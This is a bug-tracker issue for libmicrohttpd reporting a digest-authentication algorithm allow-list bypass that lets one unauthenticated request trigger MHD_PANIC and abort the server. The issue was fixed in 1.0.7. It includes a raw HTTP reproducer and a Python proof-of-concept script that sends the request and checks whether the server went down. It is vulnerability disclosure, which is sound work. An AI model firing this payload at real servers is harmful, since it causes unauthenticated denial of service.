View Issue Details

IDProjectCategoryView StatusLast Update
0011681libmicrohttpdotherpublic2026-07-28 23:42
Reporteraramosf Assigned ToChristian Grothoff  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product VersionGit master 
Target Version1.0.7Fixed in Version1.0.7 
Summary0011681: digestauth.c: algorithm allow-list bypass reaches MHD_PANIC — unauthenticated abort
DescriptionSeverity: High — unauthenticated remote process abort (denial of service) for
          any application that calls any MHD_digest_auth_check*()
Class: CWE-20 / CWE-248 (improper input validation -> reachable exception)
Status: reproduced on Linux, gcc and clang, native ELF builds at
          -O2 -DNDEBUG -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIE -pie.
          No special tooling, emulation or non-default options are needed.
          (Also reproduced on Windows x86-64, MinGW-w64 gcc 13 — noted only as
          cross-platform corroboration; the defect is platform-independent.)
          Patch supplied and verified (unpatched dies SIGABRT, patched survives).

SUMMARY
-------
A single unauthenticated request aborts the process for any application that
uses digest authentication, including via the legacy MD5-only entry points, so
every malgo3 setting is affected. The shipped src/examples/digest_auth_example.c
is vulnerable as written. No credentials, no valid nonce, and no knowledge of
the realm are required.

ROOT CAUSE
----------
MHD_DIGEST_AUTH_ALGO3_INVALID == 0 (microhttpd.h:4825). The "is the client's
algorithm permitted" subset test at digestauth.c:2589-2592 is a bitmask test:

    if (((unsigned int) c_algo) !=
        (((unsigned int) c_algo) & ((unsigned int) malgo3)))
      return MHD_DAUTH_WRONG_ALGO;

For an unrecognised algorithm= token, c_algo is ..._INVALID == 0, so the test
degenerates to (0 != (0 & malgo3)) -> (0 != 0) -> false, and the unknown
algorithm passes every guard. digest_init_one_time() then cannot map it to a
hash and the code reaches MHD_PANIC at digestauth.c:2634-2635:

    MHD_PANIC -> mhd_panic_std() -> abort()

This is reached BEFORE any realm, username, nonce, URI or response check.

The same *_INVALID == 0 hole exists for QOP at digestauth.c:2639 (no
memory-safety impact there, but qop=garbage is likewise accepted), so it
deserves the same treatment.

Version note: tested against 1.0.6 only.
Steps To ReproduceREPRODUCER
----------
    GET / HTTP/1.1\r\n
    Host: x\r\n
    Authorization: Digest algorithm=x\r\n
    Connection: close\r\n
    \r\n

Observed:

    Fatal error in GNU libmicrohttpd digestauth.c:2635: Wrong 'malgo3' value, API violation
    (process aborts, SIGABRT)


----
#!/usr/bin/env python3
"""libmicrohttpd 1.0.6 - #3 digest algorithm allow-list bypass -> MHD_PANIC.
One unauthenticated request aborts any app using MHD_digest_auth_check*().
usage: poc3_digest_panic.py <host> <port>"""
import socket, sys
h, p = sys.argv[1], int(sys.argv[2])
s = socket.create_connection((h, p), 5); s.settimeout(5)
s.sendall(b"GET / HTTP/1.1\r\nHost: x\r\n"
          b"Authorization: Digest algorithm=x\r\nConnection: close\r\n\r\n")
try: print("reply:", s.recv(200) or b"(connection closed, no reply)")
except Exception as e: print("reply:", e)
s.close()
try:
    socket.create_connection((h, p), 3).close(); print("server: STILL UP")
except Exception: print("server: DOWN (SIGABRT)")
TagsNo tags attached.

Activities

There are no notes attached to this issue.

Issue History

Date Modified Username Field Change
2026-07-27 11:27 aramosf New Issue
2026-07-27 18:22 Christian Grothoff Assigned To => Christian Grothoff
2026-07-27 18:22 Christian Grothoff Status new => resolved
2026-07-27 18:22 Christian Grothoff Resolution open => fixed
2026-07-27 18:22 Christian Grothoff Fixed in Version => 1.0.7
2026-07-27 18:22 Christian Grothoff Product Version => Git master
2026-07-27 18:22 Christian Grothoff Target Version => 1.0.7
2026-07-28 23:41 Christian Grothoff View Status private => public
2026-07-28 23:42 Christian Grothoff Status resolved => closed